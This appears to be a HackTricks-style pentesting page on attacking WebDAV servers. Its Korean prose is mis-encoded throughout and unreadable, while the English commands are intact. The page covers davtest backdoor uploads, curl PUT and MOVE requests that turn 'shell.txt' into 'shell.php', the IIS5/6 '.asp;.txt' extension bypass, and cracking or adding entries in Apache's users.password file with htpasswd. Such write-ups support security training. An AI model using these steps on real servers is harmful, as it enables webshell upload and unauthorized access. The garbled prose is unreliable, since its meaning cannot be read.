WebDav
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
WebDavκ° νμ±νλ HTTP μλ²λ₯Ό λ€λ£° λ, μ¬λ°λ₯Έ μ격 μ¦λͺ μ΄ μλ€λ©΄ νμΌμ μ‘°μν μ μμ΅λλ€. μ΄λ μΌλ°μ μΌλ‘ HTTP κΈ°λ³Έ μΈμ¦μ ν΅ν΄ νμΈλ©λλ€. μ΄λ¬ν μλ²μ λν μ μ΄λ₯Ό μ»λ κ²μ μ’ μ’ μΉμμ μ λ‘λ λ° μ€νμ ν¬ν¨ν©λλ€.
WebDav μλ²μ μ κ·Όνλ €λ©΄ μΌλ°μ μΌλ‘ μ ν¨ν μ격 μ¦λͺ μ΄ νμνλ©°, WebDav λΈλ£¨νΈν¬μ€λ μ΄λ₯Ό νλνλ μΌλ°μ μΈ λ°©λ²μ λλ€.
νμΌ μ λ‘λμ λν μ νμ 극볡νκΈ° μν΄, νΉν μλ² μΈ‘ μ€ν¬λ¦½νΈ μ€νμ λ°©μ§νλ μ νμ΄ μλ κ²½μ°, λ€μκ³Ό κ°μ λ°©λ²μ μ¬μ©ν μ μμ΅λλ€:
- μ νμ΄ μλ€λ©΄ μ€ν κ°λ₯ν νμ₯μλ₯Ό κ°μ§ νμΌμ μ§μ μ λ‘λν©λλ€.
- μ λ‘λλ λΉμ€ν νμΌ(μ: .txt)μ μ΄λ¦μ μ€ν κ°λ₯ν νμ₯μλ‘ λ³κ²½ν©λλ€.
- μ λ‘λλ λΉμ€ν νμΌμ 볡μ¬νκ³ , κ·Έ νμ₯μλ₯Ό μ€ν κ°λ₯ν κ²μΌλ‘ λ³κ²½ν©λλ€.
DavTest
Davtestλ λ€μν νμ₯μλ₯Ό κ°μ§ μ¬λ¬ νμΌμ μ λ‘λνκ³ νμ₯μκ° μ€νλλμ§ νμΈνλ €κ³ ν©λλ€:
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
.png)
μ΄κ²μ .txt λ° .html νμ₯μκ° μ€νλκ³ μλ€λ μλ―Έκ° μλλλ€. μ΄λ μΉμ ν΅ν΄ μ΄ νμΌμ μ κ·Όν μ μλ€λ μλ―Έμ λλ€.
Cadaver
μ΄ λꡬλ₯Ό μ¬μ©νμ¬ WebDav μλ²μ μλμΌλ‘ μ°κ²°νκ³ μ λ‘λ, μ΄λ λλ μμ μ κ°μ μμ μ μνν μ μμ΅λλ€.
cadaver <IP>
PUT μμ²
curl -T 'shell.txt' 'http://$ip'
MOVE μμ²
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
IIS5/6 WebDav μ·¨μ½μ
μ΄ μ·¨μ½μ μ λ§€μ° ν₯λ―Έλ‘μ΅λλ€. WebDavλ .asp νμ₯μλ₯Ό κ°μ§ νμΌμ μ λ‘λνκ±°λ μ΄λ¦μ λ³κ²½νλ κ²μ νμ©νμ§ μμ΅λλ€. κ·Έλ¬λ μ΄λ¦ λμ **β;.txtβ**λ₯Ό μΆκ°νλ©΄ νμΌμ΄ .asp νμΌμ²λΌ μ€νλ©λλ€ (λμ β.txtβ λμ **β.htmlβ**μ μ¬μ©ν μλ μμ§λ§ **β;β**λ₯Ό μμ§ λ§μΈμ).
κ·Έλ° λ€μ λΉμ μ β.txtβ νμΌλ‘ μμ μ λ‘λνκ³ β.asp;.txtβ νμΌλ‘ 볡μ¬/μ΄λν μ μμ΅λλ€. μΉ μλ²λ₯Ό ν΅ν΄ ν΄λΉ νμΌμ μ κ·Όνλ©΄ μ€νλ©λλ€ (cadaverλ μ΄λ μμ μ΄ μλνμ§ μμλ€κ³ λ§ν κ²μ΄μ§λ§, μ€μ λ‘λ μλνμ΅λλ€).
.png)
μ격 μ¦λͺ ν
Webdavκ° Apache μλ²λ₯Ό μ¬μ©νκ³ μλ€λ©΄ Apacheμ ꡬμ±λ μ¬μ΄νΈλ₯Ό νμΈν΄μΌ ν©λλ€. μΌλ°μ μΌλ‘:
/etc/apache2/sites-enabled/000-default
κ·Έ μμλ λ€μκ³Ό κ°μ λ΄μ©μ μ°Ύμ μ μμ΅λλ€:
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
보μλ€μνΌ webdav μλ²μ λν μ ν¨ν credentialsκ° ν¬ν¨λ νμΌμ΄ μμ΅λλ€:
/etc/apache2/users.password
μ΄λ¬ν μ νμ νμΌ μμλ usernameκ³Ό hashλ λΉλ°λ²νΈκ° μμ΅λλ€. μ΄κ²λ€μ μΉλ€λΈ μλ²κ° μ¬μ©μλ₯Ό μΈμ¦νλ λ° μ¬μ©νλ μ격 μ¦λͺ μ λλ€.
λΉμ μ κ·Έκ²λ€μ crackνκ±°λ, μ΄λ€ μ΄μ λ‘λ webdav μλ²μ accessνκΈ° μν΄ λ λ§μ κ²μ addν μ μμ΅λλ€:
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
μλ‘μ΄ μ격 μ¦λͺ μ΄ μλνλμ§ νμΈνλ €λ©΄ λ€μμ μνν μ μμ΅λλ€:
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
References
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


